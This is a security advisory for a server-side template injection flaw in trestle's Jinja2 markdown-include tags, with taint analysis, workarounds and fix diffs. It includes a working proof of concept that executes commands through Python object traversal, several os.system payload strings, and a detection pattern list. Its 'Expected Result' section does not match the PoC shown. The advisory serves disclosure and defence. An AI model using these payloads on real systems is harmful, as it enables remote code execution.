PYSEC-2026-3817

### Impact

A Server-Side Template Injection (SSTI) vulnerability exists in multiple locations of trestle's Jinja2 rendering pipeline due to a systemic pattern: **untrusted data is re-parsed as Jinja2 template source code without sandboxing**. This advisory tracks the root cause across all affected code paths.

The core anti-pattern is: treating runtime data (rendered output, included Markdown content, LUT values) as Jinja2 template source code and passing it to `Parser.parse()` or an equivalent rendering cycle, without using `SandboxedEnvironment` or escaping Jinja2 syntax delimiters. Because `jinja2.Environment` (not `SandboxedEnvironment`) is used, injected expressions can traverse Python object chains (`__class__.__mro__`, `__globals__`, `__subclasses__()`) to achieve arbitrary command execution via `os.system()` or `subprocess`.

**Previously fixed instance (historical context):**

An earlier version of `render_template()` in `trestle/core/commands/author/jinja.py` implemented a recursive `while` loop: rendered output was loaded via `DictLoader` into a new `Environment` and re-rendered until convergence. This allowed an attacker to inject `{{ namespace.__init__.__globals__.os.system('command') }}` into SSP data fields or LUT YAML values. When a trusted template rendered these data fields (e.g., `Title: {{ ssp.metadata.title }}`), the injected payload was written into the output, then re-evaluated as executable Jinja2 code in the next loop iteration. **This specific code path was fixed — `render_template()` now performs a single `template.render(**lut)` call.

**Still-vulnerable code paths (this advisory):**

1. **`MDCleanInclude.parse()`** — `trestle/core/jinja/tags.py:148-151`: Markdown file content is loaded via `FileSystemLoader.get_source()`, then re-parsed as Jinja2 source via `Parser(self.environment, content).parse()`.

2. **`MDSectionInclude.parse()`** — `trestle/core/jinja/tags.py:100-103`: Extracted Markdown section text (`md_section.content.raw_text`) is re-parsed as Jinja2 source via `Parser(self.environment, raw_text).parse()`.

3. **`MDDatestamp.parse()`** — `trestle/core/jinja/tags.py:198-201`: Date string is re-parsed; lower risk because the date string is internally generated from `strftime()` rather than user input.

All three paths share the identical root cause: data that should be treated as plain text is passed to `Parser.parse()` and executed as Jinja2 code in an un-sandboxed `Environment`.

**Attack vectors:**

- **Path A (Markdown include):** Attacker places a malicious `.md` file with embedded Jinja2 payload in the trestle workspace. When `{% md_clean_include "malicious.md" %}` or `{% mdsection_include %}` is processed, the payload executes. - **Path B (Data field injection — SSP/LUT):** Attacker crafts an SSP document or YAML LUT where a data field value (e.g., `metadata.title`) contains `{{ namespace.__init__.__globals__.os.system('id') }}`. When rendered into a trusted template, if the output subsequently flows through any re-parsing code path, the payload executes.

The same `__globals__.os.system()` RCE technique demonstrated in the previously-fixed `render_template` vulnerability applies to the remaining re-parsing paths.

### Workarounds

1. **Disable vulnerable tags:** Remove `MDCleanInclude` and `MDSectionInclude` from the Jinja2 extensions list in `trestle/core/jinja/ext.py:32` if markdown includes are not required. 2. **Audit included Markdown files:** Review all Markdown files referenced by `{% md_clean_include %}` and `{% mdsection_include %}` tags for unexpected Jinja2 syntax (`{{ }}`, `{% %}`, `{# #}`). 3. **Scan data sources:** Scan SSP documents, YAML LUT files, and any other data sources rendered into templates for Jinja2 syntax patterns. 4. **Restrict workspace write access:** Ensure only trusted users can add or modify files in trestle workspace directories. 5. **Pre-commit hook:** Add a pre-commit hook to scan `.md`, `.json`, `.yaml` files for Jinja2 syntax patterns (`{{ namespace`, `{% for`, `__globals__`, `__class__`, `__mro__`, `__subclasses__`, `os.system`, `subprocess`) and block commits containing them. 6. **CI/CD isolation:** If trestle is used in automated pipelines processing third-party vendor-supplied SSPs or data, run it in an isolated container/sandbox with minimal privileges and no network access.

## Attack Path (Validation Evidence)

### Path A: via `{% md_clean_include %}` tag

``` [Entry Point] CLI: trestle jinja -i template.md.jinja -o output.md ↓ main() → JinjaCmd._run(args) [trestle/core/commands/author/jinja.py:108] ↓ [Setup] JinjaCmd.jinja_ify(trestle_root, input_path, ...) [jinja.py:178] ↓ jinja_env = JinjaCmd._create_jinja_environment(template_folder) [jinja.py:192] ↓ template = jinja_env.get_template(str(r_input_file)) [jinja.py:193] ↓ output = JinjaCmd.render_template(template, lut, template_folder) [jinja.py:225] ↓ [Render] Jinja2 engine encounters {% md_clean_include "malicious.md" %} ↓ [Tag Handler] MDCleanInclude.parse(parser) [tags.py:115] ↓ markdown_source = "malicious.md" [tags.py:127] ↓ self.environment.loader.get_source(self.environment, "malicious.md") [tags.py:139] ↓ ← Loads file content from workspace directory (no restrictions on content) ↓ frontmatter.loads(md_content) → fm.content [tags.py:140-141] ↓ ← NO SANITIZATION: Markdown body assigned directly to content variable [SINK] local_parser = Parser(self.environment, content) [tags.py:148] ↓ ← Markdown content parsed as Jinja2 template SOURCE CODE [SINK] top_level_output = local_parser.parse() [tags.py:149] ↓ ← ALL Jinja2 syntax in the .md file is EXECUTED [Impact] SSTI — attacker-controlled Jinja2 code executes in template context ```

### Path B: via `{% mdsection_include %}` tag

``` [Entry Point] Same as Path A ↓ Jinja2 engine encounters {% mdsection_include "doc.md" "Section Title" %} ↓ [Tag Handler] MDSectionInclude.parse(parser) [tags.py:56] ↓ self.environment.loader.get_source(..., markdown_source.value) [tags.py:82] ↓ DocsMarkdownNode.build_tree_from_markdown(fm.content.split('\n')) [tags.py:86] ↓ full_md.get_node_for_key(section_title.value) → md_section [tags.py:87] ↓ ← Extracts specific section from the markdown document [SINK] local_parser = Parser(self.environment, md_section.content.raw_text) [tags.py:100] ↓ ← Section raw text parsed as Jinja2 template SOURCE CODE [SINK] top_level_output = local_parser.parse() [tags.py:101] ↓ ← ALL Jinja2 syntax in the extracted section is EXECUTED [Impact] SSTI — same impact as Path A, limited to a specific markdown section ```

## Taint Flow (Validation Evidence)

``` Source: User-supplied .md file in trestle workspace (file system) Type: Markdown text file Controllability: FULL — attacker controls entire file content ↓ [Transform 1] FileSystemLoader.get_source() [tags.py:82 or 139] Reads raw file content as string ✓ SANITIZATION: NONE — any content is loaded ↓ [Transform 2] frontmatter.loads(md_content) [tags.py:83 or 140] Strips YAML frontmatter, preserves Markdown body ✓ SANITIZATION: NONE — only processes YAML header, ignores body content ↓ [Transform 3] fm.content → content variable [tags.py:141] (Path A) OR md_section.content.raw_text [tags.py:100] (Path B) Direct string assignment ✓ SANITIZATION: NONE — no filtering, encoding, or validation ↓ [Transform 4] adjust_heading_level(content, expected) [tags.py:146] (Path A only) Adjusts Markdown heading levels (e.g., ## → ###) ✓ SANITIZATION: NONE — only modifies '#' character count, does not touch Jinja2 syntax ↓ [Sink] Parser(self.environment, tainted_string) [tags.py:100 or 148] Tainted Markdown content is passed to Jinja2 Parser constructor as template source [Sink] local_parser.parse() [tags.py:101 or 149] All Jinja2 constructs ({{ }}, {% %}, {# #}) in tainted content are executed ↓ [Impact] SSTI — Jinja2 code from attacker-controlled Markdown file executes in template context

Sanitization Verdict: ABSENT - No sandboxing: jinja2.Environment used (not SandboxedEnvironment) - No syntax filtering: Jinja2 delimiters {{, {%, {# are NOT escaped - No content validation: Markdown body is not scanned for template syntax - autoescape=True is irrelevant: only affects HTML output encoding, not code execution ```

## Proof of Concept

### Setup

```bash # Initialize trestle workspace trestle init

# Create malicious markdown file with Jinja2 payload cat > malicious.md << 'EOF' --- yaml_header: ignored ---

# Compliance Documentation

Testing SSTI vulnerability: Execute command: {{ ssp.__class__.__init__.__globals__.__builtins__.__import__('os').popen('whoami').read() }} EOF

# Create trigger template cat > trigger.md.jinja << 'EOF' # POC: SSTI via md_clean_include tag

{% md_clean_include "malicious.md" %} EOF

# Create a dummy LUT file cat > empty.yaml << 'EOF' lut: api_key: super_secret_token_12345 db_password: P@ssw0rd_2024 jwt_secret: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9 aws_access_key: AKIAIOSFODNN7EXAMPLE aws_secret_key: wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY internal_api: https://internal.corp.example.com/api/v2/users EOF ```

### Execution

```bash trestle init trestle author jinja -i trigger.md.jinja -o output.md -lut empty.yaml ```

### Observed Output

```markdown # POC: SSTI via md_clean_include tag

# Compliance Documentation

Testing SSTI vulnerability: Execute command: root

```

### Expected Result

The rendered `output.md` will contain the output of the `{% for %}` loop, revealing all key-value pairs from the `lut` template context dictionary. If the commented-out object traversal line is uncommented, Python internal objects may be accessible depending on the Jinja2 version and configuration.

## Affected Component

- **File:** `trestle/core/jinja/tags.py` - **Class:** `MDCleanInclude` (lines 106-151) - **Class:** `MDSectionInclude` (lines 47-103) - **Function:** `MDCleanInclude.parse()` (line 115), `MDSectionInclude.parse()` (line 56) - **Configuring module:** `trestle/core/commands/author/jinja.py`, method `_create_jinja_environment()` (line 304) - **Dependency:** Jinja2 (any version) — the vulnerability is in application code, not the Jinja2 library

## Fix Recommendation

> **Important:** The fix for `render_template()` (removing the recursive `while` loop) was a necessary first step, but is **not sufficient**. The same root cause exists in the custom Jinja2 tags. A comprehensive fix must address ALL code paths where data is re-parsed as Jinja2 template source.

### Comprehensive Fix Strategy

**Step 1 (Root cause fix):** Remove all secondary Jinja2 parsing from custom tags where it is not needed:

```diff # tags.py: MDCleanInclude.parse() — replace lines 148-151: - local_parser = Parser(self.environment, content) - top_level_output = local_parser.parse() - return top_level_output.body + from jinja2 import nodes + return [nodes.Output([nodes.TemplateData(content)])] ```

```diff # tags.py: MDSectionInclude.parse() — replace lines 100-103: - local_parser = Parser(self.environment, md_section.content.raw_text) - top_level_output = local_parser.parse() - return top_level_output.body + from jinja2 import nodes + return [nodes.Output([nodes.TemplateData(md_section.content.raw_text)])] ```

**Step 2 (Defense in depth):** Switch to `SandboxedEnvironment` in `_create_jinja_environment()`:

```diff # jinja.py:304-308 — _create_jinja_environment() + from jinja2.sandbox import SandboxedEnvironment - return Environment( + return SandboxedEnvironment( loader=FileSystemLoader(template_folder), extensions=extensions(), trim_blocks=True, autoescape=True ) ```

**Step 3 (Input validation):** Add validation to reject input data containing Jinja2 syntax:

```python # jinja.py: add to _run() before rendering _JINJA2_DANGEROUS_PATTERNS = [ r'\{\{.*__globals__', r'\{\{.*__class__', r'\{\{.*__mro__', r'\{\{.*__subclasses__', r'\{\{.*__init__', r'\{\{.*os\.system', r'\{\{.*subprocess', r'\{%\s*for\s', r'\{%\s*if\s', ]

def _validate_data_field(value: str) -> bool: """Reject data values containing suspicious Jinja2 syntax.""" for pattern in _JINJA2_DANGEROUS_PATTERNS: if re.search(pattern, value): return False return True ```

### Alternative Fix (Milder): Escape Jinja2 syntax in untrusted data

```diff # tags.py: before any secondary parsing + import re + def escape_jinja2(text: str) -> str: + return re.sub(r'(\{\{|\{%|\{#)', r'\\\1', text) + + content = escape_jinja2(content) # apply before Parser() local_parser = Parser(self.environment, content) ```